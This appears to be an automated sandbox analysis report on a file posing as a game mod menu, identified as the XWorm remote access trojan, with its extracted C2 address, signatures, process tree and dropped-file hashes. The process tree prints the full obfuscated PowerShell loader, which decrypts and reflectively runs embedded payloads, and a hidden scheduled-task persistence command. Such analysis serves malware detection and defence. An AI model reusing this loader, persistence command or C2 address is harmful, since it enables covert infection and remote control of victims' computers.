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Analysis

  • max time kernel
    133s
  • max time network
    152s
  • platform
    windows10-1703_x64
  • resource
    win10-20240404-en
  • resource tags

    arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
  • submitted
    14-05-2024 11:22

General

  • Target

    kiddionsmodmenu.exe

  • Size

    386KB

  • MD5

    88e737816cc5f3e3809152c5f9dad5be

  • SHA1

    56dedf42285c74795f714dbac7782a5d0e695a97

  • SHA256

    6d09d43c755d5081924748104ac487afadaf68add75d85feb2a256de032a5e2c

  • SHA512

    8d29b5606f91b953263738f03188a56a4c981a6213b53a830bd1e3975ff3d10274704df2dda957fa0b73cd8841947d6e850c6046338b8ebe9666ca895ce0eebd

  • SSDEEP

    12288:hFPdfNMz0ECh63X3u+DnSmMk1B+8kxkpTD:hddFMz0EH3X39DnL3PHkxgn

Malware Config

Extracted

Family

xworm

Version

5.0

C2

94.156.8.167:2020

Mutex

8sPZSP21r8KwS1LM

Attributes
  • install_file

    USB.exe

aes.plain

Signatures

  • Detect Xworm Payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\kiddionsmodmenu.exe
    "C:\Users\Admin\AppData\Local\Temp\kiddionsmodmenu.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2424
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7zS7927.tmp\XClient_Dealed.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2844
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('j9v/MRsvo8rPIZTuYpVL9r5+b1tKh4/IvXdLJbSprpc='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('S2gRLww5OmjzwLPcS3ad8Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $rcwOy=New-Object System.IO.MemoryStream(,$param_var); $TisVE=New-Object System.IO.MemoryStream; $XDooL=New-Object System.IO.Compression.GZipStream($rcwOy, [IO.Compression.CompressionMode]::Decompress); $XDooL.CopyTo($TisVE); $XDooL.Dispose(); $rcwOy.Dispose(); $TisVE.Dispose(); $TisVE.ToArray();}function execute_function($param_var,$param2_var){ $TXMac=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $KbKqR=$TXMac.EntryPoint; $KbKqR.Invoke($null, $param2_var);}$IXbeQ = 'C:\Users\Admin\AppData\Local\Temp\7zS7927.tmp\XClient_Dealed.bat';$host.UI.RawUI.WindowTitle = $IXbeQ;$Ytldu=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($IXbeQ).Split([Environment]::NewLine);foreach ($jWeCV in $Ytldu) { if ($jWeCV.StartsWith('PpiliAyQziuRKPrYAOkn')) { $YHaeW=$jWeCV.Substring(20); break; }}$payloads_var=[string[]]$YHaeW.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        3⤵
          PID:696
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Modifies registry class
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4520
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'Windows_Log_308_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Windows_Log_308.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:620
          • C:\Windows\SysWOW64\WScript.exe
            "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Windows_Log_308.vbs"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:4552
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Windows_Log_308.bat" "
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:1988
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('j9v/MRsvo8rPIZTuYpVL9r5+b1tKh4/IvXdLJbSprpc='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('S2gRLww5OmjzwLPcS3ad8Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $rcwOy=New-Object System.IO.MemoryStream(,$param_var); $TisVE=New-Object System.IO.MemoryStream; $XDooL=New-Object System.IO.Compression.GZipStream($rcwOy, [IO.Compression.CompressionMode]::Decompress); $XDooL.CopyTo($TisVE); $XDooL.Dispose(); $rcwOy.Dispose(); $TisVE.Dispose(); $TisVE.ToArray();}function execute_function($param_var,$param2_var){ $TXMac=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $KbKqR=$TXMac.EntryPoint; $KbKqR.Invoke($null, $param2_var);}$IXbeQ = 'C:\Users\Admin\AppData\Roaming\Windows_Log_308.bat';$host.UI.RawUI.WindowTitle = $IXbeQ;$Ytldu=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($IXbeQ).Split([Environment]::NewLine);foreach ($jWeCV in $Ytldu) { if ($jWeCV.StartsWith('PpiliAyQziuRKPrYAOkn')) { $YHaeW=$jWeCV.Substring(20); break; }}$payloads_var=[string[]]$YHaeW.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
                6⤵
                  PID:304
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
                  6⤵
                  • Blocklisted process makes network request
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  PID:2772

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

        Filesize

        2KB

        MD5

        a8641a2f94483f12ba0cad0cf02a3bc7

        SHA1

        fae3e6835336154b90503431279eef6c52a289d2

        SHA256

        ce70f1a4578b12964dde1e1eef8cb1948847230bf3458dfd41f8e2c32c71c24d

        SHA512

        5c92772168461d15ef6ed7b5ab2103cb63acfb1540d2d56610bbdd4a3494e866e47a225f6c7a42fa31f9170495dcddfad24533711289a6c3bfa5857a376b3e62

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

        Filesize

        18KB

        MD5

        8d923ac96e0d40b424d12375a82a43ab

        SHA1

        cbddcf170363f67b907ee1b450607095c973d6a7

        SHA256

        6d02b4948a27ee0fcecd8958b9c44d7c5c50066c0df99e3a9182c69ad990bd46

        SHA512

        527ad00f55a471e3e7ae3071612f5d9689107e2896b2f5cf903a796c34768f10dd2c6a010c1831e1ee1cf5897f0b17213bf885301d2348a3464d7f381d3a331b

      • C:\Users\Admin\AppData\Local\Temp\7zS7927.tmp\XClient_Dealed.bat

        Filesize

        152KB

        MD5

        0b426e8571f8d3e437b7a42e9b8fd808

        SHA1

        986edba4c39be9edb552284dac555e2e95f68a4a

        SHA256

        9c1a4e3a1c90d013a9465ab585ad7a9cfc378ebdbe77fc1548cb81c791e6914e

        SHA512

        e2efb8ba96b4c11b6167f085d5545e7e4971850e3c57f76957b8a0b0e1896537d935d123de93c1ebfd3efab34139e9bf902911ba54f20ddffad21edeeb16b021

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rbdot2pu.h5r.ps1

        Filesize

        1B

        MD5

        c4ca4238a0b923820dcc509a6f75849b

        SHA1

        356a192b7913b04c54574d18c28d46e6395428ab

        SHA256

        6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

        SHA512

        4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

      • C:\Users\Admin\AppData\Roaming\Windows_Log_308.vbs

        Filesize

        115B

        MD5

        21432e0b4500437da6a4bd6a1ad90261

        SHA1

        82459a33065e2c3f051718b590810b9a417897ac

        SHA256

        030ec0739f7ff9cb7dfa0a538da4ab1c2b43ff9cf9723e7f247fb18aa27c3a64

        SHA512

        388bcf00ee21fb107704d5a261fa8a5fe5df6762be5980d7617547b717404e7311d76b959deaf4cdcfa83e0988ba7f6e4d37a3c26ba3918476112386bd5cae28

      • memory/620-111-0x0000000009150000-0x00000000091F5000-memory.dmp

        Filesize

        660KB

      • memory/620-112-0x0000000009300000-0x0000000009394000-memory.dmp

        Filesize

        592KB

      • memory/620-104-0x0000000008FD0000-0x0000000009003000-memory.dmp

        Filesize

        204KB

      • memory/620-105-0x0000000072350000-0x000000007239B000-memory.dmp

        Filesize

        300KB

      • memory/620-106-0x0000000008FB0000-0x0000000008FCE000-memory.dmp

        Filesize

        120KB

      • memory/2772-274-0x000000000A480000-0x000000000A48E000-memory.dmp

        Filesize

        56KB

      • memory/2772-277-0x000000000A550000-0x000000000A5EC000-memory.dmp

        Filesize

        624KB

      • memory/2772-283-0x000000000A9F0000-0x000000000AA82000-memory.dmp

        Filesize

        584KB

      • memory/4520-14-0x0000000007700000-0x0000000007766000-memory.dmp

        Filesize

        408KB

      • memory/4520-18-0x0000000007C50000-0x0000000007C6C000-memory.dmp

        Filesize

        112KB

      • memory/4520-74-0x000000000A0E0000-0x000000000A758000-memory.dmp

        Filesize

        6.5MB

      • memory/4520-75-0x0000000009A80000-0x0000000009A9A000-memory.dmp

        Filesize

        104KB

      • memory/4520-76-0x0000000009AC0000-0x0000000009AC8000-memory.dmp

        Filesize

        32KB

      • memory/4520-77-0x0000000009AE0000-0x0000000009AFE000-memory.dmp

        Filesize

        120KB

      • memory/4520-78-0x000000000A760000-0x000000000AC5E000-memory.dmp

        Filesize

        5.0MB

      • memory/4520-38-0x0000000008220000-0x000000000825C000-memory.dmp

        Filesize

        240KB

      • memory/4520-19-0x0000000007C80000-0x0000000007CCB000-memory.dmp

        Filesize

        300KB

      • memory/4520-69-0x0000000008CF0000-0x0000000008D66000-memory.dmp

        Filesize

        472KB

      • memory/4520-15-0x00000000078C0000-0x0000000007C10000-memory.dmp

        Filesize

        3.3MB

      • memory/4520-13-0x0000000007770000-0x00000000077D6000-memory.dmp

        Filesize

        408KB

      • memory/4520-12-0x00000000074F0000-0x0000000007512000-memory.dmp

        Filesize

        136KB

      • memory/4520-11-0x0000000072AB0000-0x000000007319E000-memory.dmp

        Filesize

        6.9MB

      • memory/4520-9-0x0000000072AB0000-0x000000007319E000-memory.dmp

        Filesize

        6.9MB

      • memory/4520-10-0x0000000006EC0000-0x00000000074E8000-memory.dmp

        Filesize

        6.2MB

      • memory/4520-8-0x00000000067B0000-0x00000000067E6000-memory.dmp

        Filesize

        216KB

      • memory/4520-279-0x0000000072AB0000-0x000000007319E000-memory.dmp

        Filesize

        6.9MB

      • memory/4520-5-0x0000000072ABE000-0x0000000072ABF000-memory.dmp

        Filesize

        4KB